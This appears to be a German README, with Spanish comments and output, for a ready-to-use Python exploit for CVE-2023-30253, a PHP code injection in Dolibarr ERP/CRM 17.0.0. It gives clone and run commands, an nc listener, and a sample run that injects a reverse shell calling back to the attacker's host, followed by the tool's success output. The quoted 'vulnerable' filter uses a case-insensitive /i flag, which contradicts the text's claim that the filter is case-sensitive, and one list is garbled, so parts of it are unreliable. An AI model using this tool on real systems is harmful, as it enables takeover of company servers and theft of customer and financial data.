
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE per PHP-Codeinjektion (Lehr-Exploit)
Exploit für PHP-Code-Injection für Dolibarr ERP/CRM v17.0.0, der es ermöglicht, über das Website-/CMS-Modul eine Reverse-Shell als Benutzer www-data zu erhalten.
⚠️ Nur für Bildungszwecke und autorisierte Audits.
CVE-2023-30253 ist eine PHP-Code-Injection-Schwachstelle (CWE-94: Improper Control of Generation of Code) in Dolibarr ERP/CRM vor Version 17.0.1.
Sie wurde im Mai 2023 vom Team von Swascan (jetzt Hacktivesecurity) entdeckt und gemeldet. Die Schwachstelle liegt im Website-/CMS-Modul, das es authentifizierten Benutzern ermöglicht, Websites innerhalb von Dolibarr zu erstellen und zu verwalten.
| Feld | Wert |
|---|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (HIGH) |
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Typ | CWE-94 — Code Injection |
| Betroffene Software | Dolibarr ERP/CRM < 17.0.1 |
| Berechtigungen | Authentifizierter Benutzer (jede Rolle) |
| Patch | Dolibarr 17.0.1 — Commit 4f6055c |
Dolibarr implementiert einen Filter, um zu verhindern, dass Benutzer PHP-Code in den Inhalt der Seiten des Website-Moduls injizieren. Dieser Filter hat jedoch einen kritischen Fehler: Er ist case-sensitive.
// Código vulnerable (simplificado) en Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// Bloquea solo "<?php" en minúsculas exactas... ¿o no?
die("PHP code detected!");
}
Der Filter sucht wörtlich nach der Zeichenkette <?php in Kleinbuchstaben. PHP erlaubt jedoch jede Kombination von Groß- und Kleinbuchstaben für das Öffnungs-Tag. Das bedeutet:
| Tag | Gefiltert? | Von PHP ausgeführt? |
|---|---|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
Der Exploit verwendet <?PHP (in Großbuchstaben), um den Filter zu umgehen, aber jede Variante funktioniert.
Außerdem wird der Filter nur beim Speichern des Inhalts angewendet. Beim Ausliefern der Seite übergibt Dolibarr den Inhalt ohne weitere Bereinigung an den PHP-Interpreter, der jeglichen Code mit dem Öffnungs-Tag <? ausführt.
Ein authentifizierter Angreifer kann:
/etc/passwd, Konfiguration)Warum ist das kritisch? Dolibarr wird als Unternehmens-ERP/CRM eingesetzt. Ein Eindringen kann Kundendaten, Finanzen, Verträge und interne Anmeldedaten offenlegen.
Der Exploit automatisiert den gesamten Exploit-Prozess in 5 Schritten:
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. Login → Autenticarse en Dolibarr │
│ 2. Create Website → Crear un sitio web vacío │
│ 3. Create Page → Crear una página en el sitio │
│ 4. Inject Shell → Inyectar PHP reverse shell │
│ 5. Trigger → Ejecutar el payload │
│ │
│ Resultado: 🎯 Shell reversa como www-data │
└─────────────────────────────────────────────────────────┘
Eigenschaften:
pageidfsockopen + proc_openrequestsbeautifulsoup4Oder einfach:
pip install -r requirements.txt
# Clonar el repositorio
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# Instalar dependencias
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [opciones]
Positionsargumente:
| Argument | Beschreibung | Beispiel |
|---|---|---|
target | Basis-URL von Dolibarr | http://crm.board.htb |
username | Dolibarr-Benutzer | admin |
password | Dolibarr-Passwort | admin |
lhost | Deine IP (wo du die Shell empfängst) | 10.10.14.5 |
lport | Dein Port (wo du die Shell empfängst) | 4444 |
Optionen:
| Option | Beschreibung |
|---|---|
-v, --verbose | Zeigt detaillierte Debug-Informationen |
--no-color | Deaktiviert Farben in der Ausgabe |
-h, --help | Zeigt Hilfe und Beispiele an |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Paso 1/5: Iniciando sesión...
[10:45:12] ✓ Sesión iniciada correctamente
[10:45:13] Paso 2/5: Creando sitio web...
[10:45:13] ✓ Sitio web 's3a1f2bc' creado
[10:45:13] Paso 3/5: Creando página en el sitio...
[10:45:13] ✓ Página creada dentro del sitio
[10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
[10:45:14] ✓ Código PHP inyectado exitosamente
[10:45:14] Paso 5/5: Ejecutando payload (trigger)...
════════════════════════════════════════════════════════
EXPLOTACIÓN COMPLETADA
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc